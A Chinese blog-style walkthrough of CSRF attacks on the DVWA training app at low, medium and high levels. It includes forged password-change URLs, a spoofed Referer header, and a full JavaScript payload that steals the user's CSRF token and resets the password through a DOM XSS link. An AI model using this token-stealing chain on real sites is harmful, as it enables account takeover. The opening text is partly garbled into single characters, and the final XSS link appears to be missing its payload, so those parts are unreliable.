Dvwa csrf低中高级别漏洞实战
Low
源代码如下:
G
L
O
B
A
L
S
:
引
用
全
局
作
用
域
中
可
用
的
全
部
变
量
。
GLOBALS :引用全局作用域中可用的全部变量。
GLOBALS:引用全局作用域中可用的全部变量。GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。
相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。
是同一个对象的话,再用md5进行加密,再更新数据库。
在这里,我们第一次尝试两次输入密码不一致:
看到顶部的URL是:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=456&Change=Change#
很明显,这就是修改密码的链接。
我们打开另一个页面,在顶部URL中自己输入如下的
http://127.0.0.1/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#
直接跳转到了密码成功的页面了:
Medium
源代码如下:
Middle类型的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证
即用户的请求头中的Referer字段必须包含了服务器的名字。关于Http Referer字段,详情:验证 HTTP Referer 字段
当我们再打开另一个页面,在顶部URL中自己输入如下的时:
http://127.0.0.1/vulnerabilities/csrf/?password_new=666&password_conf=666&Change=Change#
这次我们先正常的访问这个完整,然后用burpsuite进行抓包,如图可以看到Referer字段
然后,我们打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。
我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了
成功修改了:
High
源代码如下:
因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。
我们尝试利用下面的代码去构造一个页面,诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。
xss.js
alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
xss.js放置于攻击者的网站上:http://www.hack.com/xss.js
CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #
诱导点击后,成功将密码修改为test。
后续操作请持续关注哦!!!
了解更多请关注下列公众号:
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗😗😗😗😗😗😗😗😗